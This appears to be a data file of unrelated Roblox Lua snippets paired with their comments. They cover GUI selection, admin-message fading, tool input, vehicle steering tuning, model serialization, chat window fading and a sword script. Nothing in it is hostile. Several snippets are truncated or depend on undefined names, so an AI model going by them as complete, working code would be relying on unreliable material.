This sets whether or not the Select button on a gamepad will try to auto-select
a GUI object on screen. This does _not_ turn on/off GUI gamepad navigation,
but just the initial selection using the Select button.
For UX purposes, it usually is preferred to set this to `false` and then
manually set the [`GuiService.SelectedObject`](https://developer.roblox.com/en-us/api-reference/property/GuiService/SelectedObject)
property within code to set the selected object for gamepads.
```lua
gamepad:SetAutoSelectGui(false)
game:GetService("GuiService").SelectedObject = someGuiObject
```
]=] |
function Gamepad:SetAutoSelectGui(enabled: boolean)
GuiService.AutoSelectGuiEnabled = enabled
end
|
--// All global vars will be wiped/replaced except script |
return function(data, env)
if env then
setfenv(1, env)
end
local gui = script.Parent.Parent--client.UI.Prepare(script.Parent.Parent)
local frame = gui.Frame
local frame2 = frame.Frame
local msg = frame2.Message
local ttl = frame2.Title
local Left = frame2.Left
local gIndex = data.gIndex
local gTable = data.gTable
local title = data.Title
local message = data.Message
local scroll = data.Scroll
local tim = data.Time
local gone = false
if not data.Message or not data.Title then gTable:Destroy() end
ttl.Text = title
msg.Text = message
ttl.TextTransparency = 1
msg.TextTransparency = 1
ttl.TextStrokeTransparency = 1
msg.TextStrokeTransparency = 1
frame.BackgroundTransparency = 1
local log = {
Type = "Small Screen Message";
Title = title;
Message = message;
Icon = "rbxassetid://7501175708";
Time = os.date("%X");
Function = nil;
}
table.insert(client.Variables.CommunicationsHistory, log)
service.Events.CommsCenter:Fire(log)
local fadeSteps = 10
local blurSize = 10
local textFade = 0.1
local strokeFade = 0.5
local frameFade = 0.3
local blurStep = blurSize/fadeSteps
local frameStep = frameFade/fadeSteps
local textStep = 0.1
local strokeStep = 0.1
local function fadeIn()
gTable:Ready()
for i = 1,fadeSteps do
if msg.TextTransparency>textFade then
msg.TextTransparency = msg.TextTransparency-textStep
ttl.TextTransparency = ttl.TextTransparency-textStep
end
if msg.TextStrokeTransparency>strokeFade then
msg.TextStrokeTransparency = msg.TextStrokeTransparency-strokeStep
ttl.TextStrokeTransparency = ttl.TextStrokeTransparency-strokeStep
end
if frame.BackgroundTransparency>frameFade then
frame.BackgroundTransparency = frame.BackgroundTransparency-frameStep
frame2.BackgroundTransparency = frame.BackgroundTransparency
end
service.Wait("Stepped")
end
end
local function fadeOut()
if not gone then
gone = true
for i = 1,fadeSteps do
if msg.TextTransparency<1 then
msg.TextTransparency = msg.TextTransparency+textStep
ttl.TextTransparency = ttl.TextTransparency+textStep
end
if msg.TextStrokeTransparency<1 then
msg.TextStrokeTransparency = msg.TextStrokeTransparency+strokeStep
ttl.TextStrokeTransparency = ttl.TextStrokeTransparency+strokeStep
end
if frame.BackgroundTransparency<1 then
frame.BackgroundTransparency = frame.BackgroundTransparency+frameStep
frame2.BackgroundTransparency = frame.BackgroundTransparency
end
service.Wait("Stepped")
end
service.UnWrap(gui):Destroy()
end
end
gTable.CustomDestroy = function()
fadeOut()
end
fadeIn()
if not tim then
local _,time = message:gsub(" ","")
time = math.clamp(time/2,4,11)+1
Left.Text = '['..time..']'
for i=time,1,-1 do
if not Left then break end
Left.Text = '['..i..']'
wait(1)
end
else
Left.Text = '['..tim..']'
for i=tim,1,-1 do
if not Left then break end
Left.Text = '['..i..']'
wait(1)
end
end
Left.Text = '[Closing]'
wait(0.3)
if not gone then
fadeOut()
end
end
|
--Made by Luckymaxer |
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RunService = game:GetService("RunService")
ContentProvider = game:GetService("ContentProvider")
UserInputService = game:GetService("UserInputService")
InputCheck = Instance.new("ScreenGui")
InputCheck.Name = "InputCheck"
InputFrame = Instance.new("Frame")
InputFrame.Name = "InputButton"
InputFrame.BackgroundTransparency = 1
InputFrame.Size = UDim2.new(1, 0, 1, 0)
InputFrame.Parent = InputCheck
RbxUtility = LoadLibrary("RbxUtility")
Create = RbxUtility.Create
Animations = {}
LocalObjects = {}
ServerControl = Tool:WaitForChild("ServerControl")
ClientControl = Tool:WaitForChild("ClientControl")
Rate = (1 / 60)
ToolEquipped = false
function SetAnimation(mode, value)
if not ToolEquipped or not CheckIfAlive() then
return
end
if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then
for i, v in pairs(Animations) do
if v.Animation == value.Animation then
v.AnimationTrack:Stop()
table.remove(Animations, i)
end
end
local AnimationTrack = Humanoid:LoadAnimation(value.Animation)
table.insert(Animations, {Animation = value.Animation, AnimationTrack = AnimationTrack})
AnimationTrack:Play(value.FadeTime, value.Weight, value.Speed)
elseif mode == "StopAnimation" and value then
for i, v in pairs(Animations) do
if v.Animation == value.Animation then
v.AnimationTrack:Stop()
table.remove(Animations, i)
end
end
end
end
function CheckIfAlive()
return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Player and Player.Parent) and true) or false)
end
function Equipped(Mouse)
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
ToolEquipped = true
if not CheckIfAlive() then
return
end
Spawn(function()
PlayerMouse = Player:GetMouse()
Mouse.Button1Down:connect(function()
InvokeServer("Button1Click", {Down = true})
end)
Mouse.Button1Up:connect(function()
InvokeServer("Button1Click", {Down = false})
end)
Mouse.KeyDown:connect(function(Key)
InvokeServer("KeyPress", {Key = Key, Down = true})
end)
Mouse.KeyUp:connect(function(Key)
InvokeServer("KeyPress", {Key = Key, Down = false})
end)
local PlayerGui = Player:FindFirstChild("PlayerGui")
if PlayerGui then
InputCheckClone = InputCheck:Clone()
if UserInputService.TouchEnabled then
InputCheckClone = InputCheck:Clone()
InputCheckClone.InputButton.InputBegan:connect(function()
InvokeServer("Button1Click", {Down = true})
end)
InputCheckClone.InputButton.InputEnded:connect(function()
InvokeServer("Button1Click", {Down = false})
end)
InputCheckClone.Parent = PlayerGui
end
end
for i, v in pairs(Tool:GetChildren()) do
if v:IsA("Animation") then
ContentProvider:Preload(v.AnimationId)
end
end
end)
end
function Unequipped()
for i, v in pairs(Animations) do
if v and v.AnimationTrack then
v.AnimationTrack:Stop()
end
end
if InputCheckClone then
Debris:AddItem(InputCheckClone, 0)
end
if ObjectLocalTransparencyModifier then
ObjectLocalTransparencyModifier:disconnect()
end
LocalObjects = {}
Animations = {}
ToolEquipped = false
end
function InvokeServer(mode, value)
local ServerReturn = nil
pcall(function()
ServerReturn = ServerControl:InvokeServer(mode, value)
end)
return ServerReturn
end
function OnClientInvoke(mode, value)
if not ToolEquipped or not CheckIfAlive() then
return
end
if mode == "PlayAnimation" and value then
SetAnimation("PlayAnimation", value)
elseif mode == "StopAnimation" and value then
SetAnimation("StopAnimation", value)
elseif mode == "PlaySound" and value then
value:Play()
elseif mode == "StopSound" and value then
value:Stop()
elseif mode == "MouseData" then
return ((PlayerMouse and {Hit = PlayerMouse.Hit, Target = PlayerMouse.Target}) or nil)
elseif mode == "SetLocalTransparencyModifier" and value and ToolEquipped then
pcall(function()
local ObjectFound = false
for i, v in pairs(LocalObjects) do
if v == value then
ObjectFound = true
end
end
if not ObjectFound then
table.insert(LocalObjects, value)
if ObjectLocalTransparencyModifier then
ObjectLocalTransparencyModifier:disconnect()
end
ObjectLocalTransparencyModifier = RunService.RenderStepped:connect(function()
for i, v in pairs(LocalObjects) do
if v.Object and v.Object.Parent then
if ((not v.AutoUpdate and (v.Object.LocalTransparencyModifier == 1 or v.Object.LocalTransparencyModifier == 0)) or v.AutoUpdate) then
v.Object.LocalTransparencyModifier = v.Transparency
end
else
table.remove(LocalObjects, i)
end
end
end)
end
end)
end
end
ClientControl.OnClientInvoke = OnClientInvoke
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
--requires luaP |
local luaU = {}
local luaP = require(script.Parent.LuaP)
|
--Stickmasterluke |
sp=script.Parent
button=sp.Parent:FindFirstChild("Button")
ontill=0
function on()
sp.ButtonPushed:SetValue(1)
button.BrickColor=BrickColor.new("Cool yellow")
button.Mesh.Offset=Vector3.new(0,.25,0)
end
function off()
sp.ButtonPushed:SetValue(0)
button.BrickColor=BrickColor.new("Bright yellow")
button.Mesh.Offset=Vector3.new(0,.1,0)
end
button.ClickDetector.MouseClick:connect(function()
on()
ontill=tick()+sp.Configuration.ActivationTime.Value
while ontill>tick() do
wait()
end
off()
end)
|
-- ROBLOX deviation START: not ported as it doesn't seem necessary in Lua
-- exports.tryRealpath = require(script.tryRealpath).default
-- exports.requireOrImportModule = require(script.requireOrImportModule).default
-- ROBLOX deviation END |
return exports
|
--[[
Documentation is in the Storage Module.
Tutorial: https://devforum.roblox.com/t/simple-datastore-handler-tutorial/51562
The_Envelope
September 6, 2017
--]] |
local storage = require(script:WaitForChild("Storage"))
|
--[[Steering]] |
Tune.SteerInner = 48 -- Inner wheel steering angle (in degrees)
Tune.SteerOuter = 49 -- Outer wheel steering angle (in degrees)
Tune.SteerSpeed = .02 -- Steering increment per tick (in degrees)
Tune.ReturnSpeed = .04 -- Steering increment per tick (in degrees)
Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS)
Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent)
Tune.MSteerExp = 1 -- Mouse steering exponential degree
--Steer Gyro Tuning
Tune.SteerD = 1000 -- Steering Dampening
Tune.SteerMaxTorque = 50000 -- Steering Force
Tune.SteerP = 100000 -- Steering Aggressiveness
|
------------------------- |
function onClicked()
R.Function1.Disabled = true
R.Function2.Disabled = false
R.BrickColor = BrickColor.new("Institutional white")
N.One1.BrickColor = BrickColor.new("Really black")
N.One2.BrickColor = BrickColor.new("Really black")
N.Four1.BrickColor = BrickColor.new("Really black")
N.One8.BrickColor = BrickColor.new("Really black")
N.Three4.BrickColor = BrickColor.new("Really black")
N.Two1.BrickColor = BrickColor.new("Really black")
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
-- Get reference to the Dock frame |
local dock = script.Parent.Parent.Wallpaper.Apps
|
--README: See ServerWeaponsScript for a detailed README |
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local CollectionService = game:GetService("CollectionService")
local RunService = game:GetService("RunService")
local Players = game:GetService("Players")
local WEAPONS_SYSTEM_TAG = "WeaponsSystemFolder"
local LocalPlayer = Players.LocalPlayer
while not LocalPlayer do
Players:GetPropertyChangedSignal("LocalPlayer"):Wait()
LocalPlayer = Players.LocalPlayer
end
local versionObj = script:WaitForChild("Version")
if not versionObj then
error("ClientWeaponsScript does not contain an IntValue called Version. Cannot determine what WeaponsSystem to use.")
return
end
local ScriptVersion = versionObj.Value
|
-- Make a base cosmetic bullet object. This will be cloned every time we fire off a ray. |
local CosmeticBullet = Instance.new("Part")
CosmeticBullet.Material = Enum.Material.Neon
CosmeticBullet.Color = Color3.fromRGB(255, 0, 0)
CosmeticBullet.CanCollide = false
CosmeticBullet.Anchored = true
CosmeticBullet.Size = Vector3.new(0.75, 0.75, 2.4)
|
--[[
Function called when leaving the state
]] |
function PlayerSpectating.leave(stateMachine)
end
return PlayerSpectating
|
-- Import services |
Support = require(script.Parent.SupportLibrary);
Support.ImportServices();
local Types = {
Part = 0,
WedgePart = 1,
CornerWedgePart = 2,
VehicleSeat = 3,
Seat = 4,
TrussPart = 5,
SpecialMesh = 6,
Texture = 7,
Decal = 8,
PointLight = 9,
SpotLight = 10,
SurfaceLight = 11,
Smoke = 12,
Fire = 13,
Sparkles = 14,
Model = 15
};
local DefaultNames = {
Part = 'Part',
WedgePart = 'Wedge',
CornerWedgePart = 'CornerWedge',
VehicleSeat = 'VehicleSeat',
Seat = 'Seat',
TrussPart = 'Truss',
SpecialMesh = 'Mesh',
Texture = 'Texture',
Decal = 'Decal',
PointLight = 'PointLight',
SpotLight = 'SpotLight',
SurfaceLight = 'SurfaceLight',
Smoke = 'Smoke',
Fire = 'Fire',
Sparkles = 'Sparkles',
Model = 'Model'
};
function Serialization.SerializeModel(Items)
-- Returns a serialized version of the given model
-- Filter out non-serializable items in `Items`
local SerializableItems = {};
for Index, Item in ipairs(Items) do
table.insert(SerializableItems, Types[Item.ClassName] and Item or nil);
end;
Items = SerializableItems;
-- Get a snapshot of the content
local Keys = Support.FlipTable(Items);
local Data = {};
Data.Version = 2;
Data.Items = {};
-- Serialize each item in the model
for Index, Item in pairs(Items) do
if Item:IsA 'BasePart' then
local Datum = {};
Datum[1] = Types[Item.ClassName];
Datum[2] = Keys[Item.Parent] or 0;
Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name;
Datum[4] = Item.Size.X;
Datum[5] = Item.Size.Y;
Datum[6] = Item.Size.Z;
Support.ConcatTable(Datum, { Item.CFrame:components() });
Datum[19] = Item.BrickColor.Number;
Datum[20] = Item.Material.Value;
Datum[21] = Item.Anchored and 1 or 0;
Datum[22] = Item.CanCollide and 1 or 0;
Datum[23] = Item.Reflectance;
Datum[24] = Item.Transparency;
Datum[25] = Item.TopSurface.Value;
Datum[26] = Item.BottomSurface.Value;
Datum[27] = Item.FrontSurface.Value;
Datum[28] = Item.BackSurface.Value;
Datum[29] = Item.LeftSurface.Value;
Datum[30] = Item.RightSurface.Value;
Data.Items[Index] = Datum;
end;
if Item.ClassName == 'Part' then
local Datum = Data.Items[Index];
Datum[31] = Item.Shape.Value;
end;
if Item.ClassName == 'VehicleSeat' then
local Datum = Data.Items[Index];
Datum[31] = Item.MaxSpeed;
Datum[32] = Item.Torque;
Datum[33] = Item.TurnSpeed;
end;
if Item.ClassName == 'TrussPart' then
local Datum = Data.Items[Index];
Datum[31] = Item.Style.Value;
end;
if Item.ClassName == 'SpecialMesh' then
local Datum = {};
Datum[1] = Types[Item.ClassName];
Datum[2] = Keys[Item.Parent] or 0;
Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name;
Datum[4] = Item.MeshType.Value;
Datum[5] = Item.MeshId;
Datum[6] = Item.TextureId;
Datum[7] = Item.Offset.X;
Datum[8] = Item.Offset.Y;
Datum[9] = Item.Offset.Z;
Datum[10] = Item.Scale.X;
Datum[11] = Item.Scale.Y;
Datum[12] = Item.Scale.Z;
Datum[13] = Item.VertexColor.X;
Datum[14] = Item.VertexColor.Y;
Datum[15] = Item.VertexColor.Z;
Data.Items[Index] = Datum;
end;
if Item:IsA 'Decal' then
local Datum = {};
Datum[1] = Types[Item.ClassName];
Datum[2] = Keys[Item.Parent] or 0;
Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name;
Datum[4] = Item.Texture;
Datum[5] = Item.Transparency;
Datum[6] = Item.Face.Value;
Data.Items[Index] = Datum;
end;
if Item.ClassName == 'Texture' then
local Datum = Data.Items[Index];
Datum[6] = Item.StudsPerTileU;
Datum[7] = Item.StudsPerTileV;
end;
if Item:IsA 'Light' then
local Datum = {};
Datum[1] = Types[Item.ClassName];
Datum[2] = Keys[Item.Parent] or 0;
Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name;
Datum[4] = Item.Brightness;
Datum[5] = Item.Color.r;
Datum[6] = Item.Color.g;
Datum[7] = Item.Color.b;
Datum[8] = Item.Enabled and 1 or 0;
Datum[9] = Item.Shadows and 1 or 0;
Data.Items[Index] = Datum;
end;
if Item.ClassName == 'PointLight' then
local Datum = Data.Items[Index];
Datum[10] = Item.Range;
end;
if Item.ClassName == 'SpotLight' then
local Datum = Data.Items[Index];
Datum[10] = Item.Range;
Datum[11] = Item.Angle;
Datum[12] = Item.Face.Value;
end;
if Item.ClassName == 'SurfaceLight' then
local Datum = Data.Items[Index];
Datum[10] = Item.Range;
Datum[11] = Item.Angle;
Datum[12] = Item.Face.Value;
end;
if Item.ClassName == 'Smoke' then
local Datum = {};
Datum[1] = Types[Item.ClassName];
Datum[2] = Keys[Item.Parent] or 0;
Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name;
Datum[4] = Item.Enabled and 1 or 0;
Datum[5] = Item.Color.r;
Datum[6] = Item.Color.g;
Datum[7] = Item.Color.b;
Datum[8] = Item.Size;
Datum[9] = Item.RiseVelocity;
Datum[10] = Item.Opacity;
Data.Items[Index] = Datum;
end;
if Item.ClassName == 'Fire' then
local Datum = {};
Datum[1] = Types[Item.ClassName];
Datum[2] = Keys[Item.Parent] or 0;
Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name;
Datum[4] = Item.Enabled and 1 or 0;
Datum[5] = Item.Color.r;
Datum[6] = Item.Color.g;
Datum[7] = Item.Color.b;
Datum[8] = Item.SecondaryColor.r;
Datum[9] = Item.SecondaryColor.g;
Datum[10] = Item.SecondaryColor.b;
Datum[11] = Item.Heat;
Datum[12] = Item.Size;
Data.Items[Index] = Datum;
end;
if Item.ClassName == 'Sparkles' then
local Datum = {};
Datum[1] = Types[Item.ClassName];
Datum[2] = Keys[Item.Parent] or 0;
Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name;
Datum[4] = Item.Enabled and 1 or 0;
Datum[5] = Item.SparkleColor.r;
Datum[6] = Item.SparkleColor.g;
Datum[7] = Item.SparkleColor.b;
Data.Items[Index] = Datum;
end;
if Item.ClassName == 'Model' then
local Datum = {};
Datum[1] = Types[Item.ClassName];
Datum[2] = Keys[Item.Parent] or 0;
Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name;
Datum[4] = Item.PrimaryPart and Keys[Item.PrimaryPart] or 0;
Data.Items[Index] = Datum;
end;
-- Spread the workload over time to avoid locking up the CPU
if Index % 100 == 0 then
wait(0.01);
end;
end;
-- Return the serialized data
return HttpService:JSONEncode(Data);
end;
function Serialization.InflateBuildData(Data)
-- Returns an inflated version of the given build data
local Build = {};
local Instances = {};
-- Create each instance
for Index, Datum in ipairs(Data.Items) do
-- Inflate BaseParts
if Datum[1] == Types.Part
or Datum[1] == Types.WedgePart
or Datum[1] == Types.CornerWedgePart
or Datum[1] == Types.VehicleSeat
or Datum[1] == Types.Seat
or Datum[1] == Types.TrussPart
then
local Item = Instance.new(Support.FindTableOccurrence(Types, Datum[1]));
Item.Size = Vector3.new(unpack(Support.Slice(Datum, 4, 6)));
Item.CFrame = CFrame.new(unpack(Support.Slice(Datum, 7, 18)));
Item.BrickColor = BrickColor.new(Datum[19]);
Item.Material = Datum[20];
Item.Anchored = Datum[21] == 1;
Item.CanCollide = Datum[22] == 1;
Item.Reflectance = Datum[23];
Item.Transparency = Datum[24];
Item.TopSurface = Datum[25];
Item.BottomSurface = Datum[26];
Item.FrontSurface = Datum[27];
Item.BackSurface = Datum[28];
Item.LeftSurface = Datum[29];
Item.RightSurface = Datum[30];
-- Register the part
Instances[Index] = Item;
end;
-- Inflate specific Part properties
if Datum[1] == Types.Part then
local Item = Instances[Index];
Item.Shape = Datum[31];
end;
-- Inflate specific VehicleSeat properties
if Datum[1] == Types.VehicleSeat then
local Item = Instances[Index];
Item.MaxSpeed = Datum[31];
Item.Torque = Datum[32];
Item.TurnSpeed = Datum[33];
end;
-- Inflate specific TrussPart properties
if Datum[1] == Types.TrussPart then
local Item = Instances[Index];
Item.Style = Datum[31];
end;
-- Inflate SpecialMesh instances
if Datum[1] == Types.SpecialMesh then
local Item = Instance.new('SpecialMesh');
Item.MeshType = Datum[4];
Item.MeshId = Datum[5];
Item.TextureId = Datum[6];
Item.Offset = Vector3.new(unpack(Support.Slice(Datum, 7, 9)));
Item.Scale = Vector3.new(unpack(Support.Slice(Datum, 10, 12)));
Item.VertexColor = Vector3.new(unpack(Support.Slice(Datum, 13, 15)));
-- Register the mesh
Instances[Index] = Item;
end;
-- Inflate Decal instances
if Datum[1] == Types.Decal or Datum[1] == Types.Texture then
local Item = Instance.new(Support.FindTableOccurrence(Types, Datum[1]));
Item.Texture = Datum[4];
Item.Transparency = Datum[5];
Item.Face = Datum[6];
-- Register the Decal
Instances[Index] = Item;
end;
-- Inflate specific Texture properties
if Datum[1] == Types.Texture then
local Item = Instances[Index];
Item.StudsPerTileU = Datum[7];
Item.StudsPerTileV = Datum[8];
end;
-- Inflate Light instances
if Datum[1] == Types.PointLight
or Datum[1] == Types.SpotLight
or Datum[1] == Types.SurfaceLight
then
local Item = Instance.new(Support.FindTableOccurrence(Types, Datum[1]));
Item.Brightness = Datum[4];
Item.Color = Color3.new(unpack(Support.Slice(Datum, 5, 7)));
Item.Enabled = Datum[8] == 1;
Item.Shadows = Datum[9] == 1;
-- Register the light
Instances[Index] = Item;
end;
-- Inflate specific PointLight properties
if Datum[1] == Types.PointLight then
local Item = Instances[Index];
Item.Range = Datum[10];
end;
-- Inflate specific SpotLight properties
if Datum[1] == Types.SpotLight then
local Item = Instances[Index];
Item.Range = Datum[10];
Item.Angle = Datum[11];
Item.Face = Datum[12];
end;
-- Inflate specific SurfaceLight properties
if Datum[1] == Types.SurfaceLight then
local Item = Instances[Index];
Item.Range = Datum[10];
Item.Angle = Datum[11];
Item.Face = Datum[12];
end;
-- Inflate Smoke instances
if Datum[1] == Types.Smoke then
local Item = Instance.new('Smoke');
Item.Enabled = Datum[4] == 1;
Item.Color = Color3.new(unpack(Support.Slice(Datum, 5, 7)));
Item.Size = Datum[8];
Item.RiseVelocity = Datum[9];
Item.Opacity = Datum[10];
-- Register the smoke
Instances[Index] = Item;
end;
-- Inflate Fire instances
if Datum[1] == Types.Fire then
local Item = Instance.new('Fire');
Item.Enabled = Datum[4] == 1;
Item.Color = Color3.new(unpack(Support.Slice(Datum, 5, 7)));
Item.SecondaryColor = Color3.new(unpack(Support.Slice(Datum, 8, 10)));
Item.Heat = Datum[11];
Item.Size = Datum[12];
-- Register the fire
Instances[Index] = Item;
end;
-- Inflate Sparkles instances
if Datum[1] == Types.Sparkles then
local Item = Instance.new('Sparkles');
Item.Enabled = Datum[4] == 1;
Item.SparkleColor = Color3.new(unpack(Support.Slice(Datum, 5, 7)));
-- Register the instance
Instances[Index] = Item;
end;
-- Inflate Model instances
if Datum[1] == Types.Model then
local Item = Instance.new('Model');
-- Register the model
Instances[Index] = Item;
end;
end;
-- Set object values on each instance
for Index, Datum in pairs(Data.Items) do
-- Get the item's instance
local Item = Instances[Index];
-- Set each item's parent and name
if Item and Datum[1] <= 15 then
Item.Name = (Datum[3] == '') and DefaultNames[Item.ClassName] or Datum[3];
if Datum[2] == 0 then
table.insert(Build, Item);
else
Item.Parent = Instances[Datum[2]];
end;
end;
-- Set model primary parts
if Item and Datum[1] == 15 then
Item.PrimaryPart = (Datum[4] ~= 0) and Instances[Datum[4]] or nil;
end;
end;
-- Return the model
return Build;
end;
|
--[=[
@param optionB Option
@return Option
Returns `optionB` if the calling option has a value,
otherwise returns None.
```lua
local optionA = Option.Some(32)
local optionB = Option.Some(64)
local opt = optionA:And(optionB)
-- opt == optionB
local optionA = Option.None
local optionB = Option.Some(64)
local opt = optionA:And(optionB)
-- opt == Option.None
```
]=] |
function Option:And(optionB)
if self:IsSome() then
return optionB
else
return Option.None
end
end
|
--////////////////////////////////////////////////////////////////////////////////////////////
--////////////////////////////////////////////////////////////// Code to do chat window fading
--//////////////////////////////////////////////////////////////////////////////////////////// |
function CheckIfPointIsInSquare(checkPos, topLeft, bottomRight)
return (topLeft.X <= checkPos.X and checkPos.X <= bottomRight.X and
topLeft.Y <= checkPos.Y and checkPos.Y <= bottomRight.Y)
end
local backgroundIsFaded = false
local textIsFaded = false
local lastTextFadeTime = 0
local lastBackgroundFadeTime = 0
local fadedChanged = Instance.new("BindableEvent")
local mouseStateChanged = Instance.new("BindableEvent")
local chatBarFocusChanged = Instance.new("BindableEvent")
function DoBackgroundFadeIn(setFadingTime)
lastBackgroundFadeTime = tick()
backgroundIsFaded = false
fadedChanged:Fire()
ChatWindow:FadeInBackground((setFadingTime or ChatSettings.ChatDefaultFadeDuration))
local currentChannelObject = ChatWindow:GetCurrentChannel()
if (currentChannelObject) then
local Scroller = MessageLogDisplay.Scroller
Scroller.ScrollingEnabled = true
Scroller.ScrollBarThickness = moduleMessageLogDisplay.ScrollBarThickness
end
end
function DoBackgroundFadeOut(setFadingTime)
lastBackgroundFadeTime = tick()
backgroundIsFaded = true
fadedChanged:Fire()
ChatWindow:FadeOutBackground((setFadingTime or ChatSettings.ChatDefaultFadeDuration))
local currentChannelObject = ChatWindow:GetCurrentChannel()
if (currentChannelObject) then
local Scroller = MessageLogDisplay.Scroller
Scroller.ScrollingEnabled = false
Scroller.ScrollBarThickness = 0
end
end
function DoTextFadeIn(setFadingTime)
lastTextFadeTime = tick()
textIsFaded = false
fadedChanged:Fire()
ChatWindow:FadeInText((setFadingTime or ChatSettings.ChatDefaultFadeDuration) * 0)
end
function DoTextFadeOut(setFadingTime)
lastTextFadeTime = tick()
textIsFaded = true
fadedChanged:Fire()
ChatWindow:FadeOutText((setFadingTime or ChatSettings.ChatDefaultFadeDuration))
end
function DoFadeInFromNewInformation()
DoTextFadeIn()
if ChatSettings.ChatShouldFadeInFromNewInformation then
DoBackgroundFadeIn()
end
end
function InstantFadeIn()
DoBackgroundFadeIn(0)
DoTextFadeIn(0)
end
function InstantFadeOut()
DoBackgroundFadeOut(0)
DoTextFadeOut(0)
end
local mouseIsInWindow = nil
function UpdateFadingForMouseState(mouseState)
mouseIsInWindow = mouseState
mouseStateChanged:Fire()
if (ChatBar:IsFocused()) then return end
if (mouseState) then
DoBackgroundFadeIn()
DoTextFadeIn()
else
DoBackgroundFadeIn()
end
end
spawn(function()
while true do
RunService.RenderStepped:wait()
while (mouseIsInWindow or ChatBar:IsFocused()) do
if (mouseIsInWindow) then
mouseStateChanged.Event:wait()
end
if (ChatBar:IsFocused()) then
chatBarFocusChanged.Event:wait()
end
end
if (not backgroundIsFaded) then
local timeDiff = tick() - lastBackgroundFadeTime
if (timeDiff > ChatSettings.ChatWindowBackgroundFadeOutTime) then
DoBackgroundFadeOut()
end
elseif (not textIsFaded) then
local timeDiff = tick() - lastTextFadeTime
if (timeDiff > ChatSettings.ChatWindowTextFadeOutTime) then
DoTextFadeOut()
end
else
fadedChanged.Event:wait()
end
end
end)
function getClassicChatEnabled()
if ChatSettings.ClassicChatEnabled ~= nil then
return ChatSettings.ClassicChatEnabled
end
return Players.ClassicChat
end
function getBubbleChatEnabled()
if ChatSettings.BubbleChatEnabled ~= nil then
return ChatSettings.BubbleChatEnabled
end
return Players.BubbleChat
end
function bubbleChatOnly()
return not getClassicChatEnabled() and getBubbleChatEnabled()
end
function UpdateMousePosition(mousePos, ignoreForFadeIn)
if not (moduleApiTable.Visible and moduleApiTable.IsCoreGuiEnabled and (moduleApiTable.TopbarEnabled or ChatSettings.ChatOnWithTopBarOff)) then return end
if bubbleChatOnly() then
return
end
local windowPos = ChatWindow.GuiObject.AbsolutePosition
local windowSize = ChatWindow.GuiObject.AbsoluteSize
local newMouseState = CheckIfPointIsInSquare(mousePos, windowPos, windowPos + windowSize)
if FFlagFixChatWindowHoverOver then
if ignoreForFadeIn and newMouseState == true then
return
end
end
if (newMouseState ~= mouseIsInWindow) then
UpdateFadingForMouseState(newMouseState)
end
end
UserInputService.InputChanged:connect(function(inputObject, gameProcessedEvent)
if (inputObject.UserInputType == Enum.UserInputType.MouseMovement) then
local mousePos = Vector2.new(inputObject.Position.X, inputObject.Position.Y)
UpdateMousePosition(mousePos, --[[ ignoreForFadeIn = ]] gameProcessedEvent)
end
end)
UserInputService.TouchTap:connect(function(tapPos, gameProcessedEvent)
UpdateMousePosition(tapPos[1], --[[ ignoreForFadeIn = ]] false)
end)
UserInputService.TouchMoved:connect(function(inputObject, gameProcessedEvent)
local tapPos = Vector2.new(inputObject.Position.X, inputObject.Position.Y)
UpdateMousePosition(tapPos, --[[ ignoreForFadeIn = ]] false)
end)
if not FFlagFixMouseCapture then
UserInputService.Changed:connect(function(prop)
if prop == "MouseBehavior" then
if UserInputService.MouseBehavior == Enum.MouseBehavior.LockCenter then
local windowPos = ChatWindow.GuiObject.AbsolutePosition
local windowSize = ChatWindow.GuiObject.AbsoluteSize
local screenSize = GuiParent.AbsoluteSize
local centerScreenIsInWindow = CheckIfPointIsInSquare(screenSize/2, windowPos, windowPos + windowSize)
if centerScreenIsInWindow then
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end
end
end
end)
end
|
-- For those who prefer distinct functions |
function ControlModule:Disable()
if self.activeController then
self.activeController:Enable(false)
if self.moveFunction then
self.moveFunction(Players.LocalPlayer, Vector3.new(0,0,0), self.cameraRelative)
end
end
end
|
-------- OMG HAX |
r = game:service("RunService")
local damage = 5
local slash_damage = 12
sword = script.Parent.Handle
Tool = script.Parent
local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "http://www.roblox.com/asset/?ID=11883586"
SlashSound.Parent = sword
SlashSound.Volume = .7
function blow(hit)
local humanoid = hit.Parent:findFirstChild("Humanoid")
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
if humanoid~=nil and humanoid ~= hum and hum ~= nil then
-- final check, make sure sword is in-hand
local right_arm = vCharacter:FindFirstChild("Right Arm")
if (right_arm ~= nil) then
local joint = right_arm:FindFirstChild("RightGrip")
if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
tagHumanoid(humanoid, vPlayer)
humanoid:TakeDamage(damage)
wait(1)
untagHumanoid(humanoid)
end
end
end
end
function tagHumanoid(humanoid, player)
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = player
creator_tag.Name = "creator"
creator_tag.Parent = humanoid
end
function untagHumanoid(humanoid)
if humanoid ~= nil then
local tag = humanoid:findFirstChild("creator")
if tag ~= nil then
tag.Parent = nil
end
end
end
function attack()
damage = slash_damage
SlashSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Slash"
anim.Parent = Tool
end
function swordUp()
Tool.GripForward = Vector3.new(-1,0,0)
Tool.GripRight = Vector3.new(0,1,0)
